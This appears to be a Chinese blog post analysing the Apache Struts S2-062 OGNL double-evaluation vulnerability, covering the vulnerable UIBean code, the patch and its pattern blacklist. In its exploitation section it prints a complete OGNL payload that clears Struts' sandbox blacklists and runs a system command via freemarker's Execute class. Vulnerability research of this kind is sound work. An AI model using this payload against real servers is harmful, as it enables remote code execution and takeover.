前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

影响版本Struts 2.0.0 - Struts 2.5.29,这里使用Struts 2.5.29。

根据官方通告,问题出在其他标签的某些属性中,下载Struts 2.5.29和Struts 2.5.30的源码,diff一下两个版本的UIBean类:

可以看到Struts 2.5.29的这段代码:

String expr = completeExpressionIfAltSyntax(name);
if (recursion(name)) {
    addParameter("nameValue", expr);
} else {
    addParameter("nameValue", findValue(expr, valueClazz));
}

以name解析后的expr作参数调用findValue,这里很有可能存在一个双重评估,看一下completeExpressionIfAltSyntax函数:

// Component.java
protected String completeExpressionIfAltSyntax(String expr) {
    if (altSyntax() && !ComponentUtils.containsExpression(expr)) {
        return "%{" + expr + "}";
    }
    return expr;
}


// ComponentUtils.java
public static boolean containsExpression(String expr) {
    return expr != null && expr.contains("%{") && expr.contains("}");
}

如果name中没有%{}就加上去,再看一下recursion函数:

// Component.java
protected boolean recursion(String expr) {
    return ComponentUtils.altSyntax(stack) && ComponentUtils.containsExpression(expr);
}

很明显containsExpression函数这里对双重评估做了一点点防护,然而虽然禁止了name中的%{},但是它自己又会给name加上%{}变成expr,所以这里的代码写了个空,我们还是可以通过这里的双重评估执行表达式。

修改模板文件,在name属性中添加一个表达式:

<s:label name="%{username}"/>

输入username为:

#{#application['org.apache.catalina.resources']}

可以看到发生了双重评估,输入的username作为表达式执行了:

漏洞利用

先版本禁止了通过DefaultInstanceManager创建对象,但是没有禁止通过BeanMap调用某个对象的setter和getter,所以我们只要找到新的创建对象的方法就可以继续绕过沙盒。

payload中使用的是这样的写法:

#@org.apache.commons.collections.BeanMap@{}

效果如下:

该版本的#attr没有了:

但是#request中还有OgnlValueStack:

把S2-061的payload改一改就能用了,清空黑名单之后可以获取application中的InstanceManager对象来创建Execute对象完成命令执行,最后的payload:

data1 = {
    "username":
    "(#beanmap=#@org.apache.commons.collections.BeanMap@{})."
    "(#stack=#request['struts.valueStack'])."
    "(#beanmap.setBean(#stack))."
    "(#context=#beanmap.get(\"context\"))."
    "(#beanmap.setBean(#context))."
    "(#memberAccess=#beanmap.get(\"memberAccess\"))."
    "(#beanmap.setBean(#memberAccess))."
    "(#beanmap.put(\"excludedPackageNames\", #@org.apache.commons.collections.BeanMap@{}.keySet()))."
    "(#beanmap.put(\"excludedClasses\", #@org.apache.commons.collections.BeanMap@{}.keySet()))."
    "(#application['org.apache.tomcat.InstanceManager'].newInstance(\"freemarker.template.utility.Execute\").exec({\"calc.exe\"}))"
}

漏洞修复

在Struts 2.5.30中,漏洞代码改动如下:

boolean evaluated = !translatedName.equals(this.name);
boolean reevaluate = !evaluated || isAcceptableExpression(translatedName);
if (!reevaluate) {
    addParameter(NAME_VALUE, translatedName);
} else {
    String expr = completeExpressionIfAltSyntax(translatedName);
    addParameter(NAME_VALUE, findValue(expr, valueClazz));
}

发生双重评估时translatedName与name不等,因此evaluated为true,所以reevaluate的取值取决于isAcceptableExpression函数,其代码如下:

protected boolean isAcceptableExpression(String expression) {
    NotExcludedAcceptedPatternsChecker.IsAllowed isAllowed = notExcludedAcceptedPatterns.isAllowed(expression);
    if (isAllowed.isAllowed()) {
        return true;
    }

    LOG.warn("Expression [{}] isn't allowed by pattern [{}]! See Accepted / Excluded patterns at\n" +
             "https://struts.apache.org/security/", expression, isAllowed.getAllowedPattern());

    return false;
}

notExcludedAcceptedPatterns是一个DefaultNotExcludedAcceptedPatternsChecker对象,其包括一个黑名单对象DefaultExcludedPatternsChecker:

public static final String[] EXCLUDED_PATTERNS = {
    "(^|\\%\\{)((#?)(top(\\.|\\['|\\[\")|\\[\\d\\]\\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\\.|\\[).*",
    ".*(^|\\.|\\[|\\'|\"|get)class(\\(\\.|\\[|\\'|\").*"
};

通过黑名单之后是一个白名单对象,只有符合白名单的才会通过校验:

public static final String[] ACCEPTED_PATTERNS = {
    "\\w+((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*"
};

public static final String[] DMI_AWARE_ACCEPTED_PATTERNS = {
    "\\w+([:]?\\w+)?((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*([!]?\\w+)?"
};

看起来就很麻烦的正则。


参考

https://github.com/YanMu2020/s2-062/blob/main/s2-062.py


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Spring Core RCE CVE-2022-22965
struts2系列漏洞 S2-061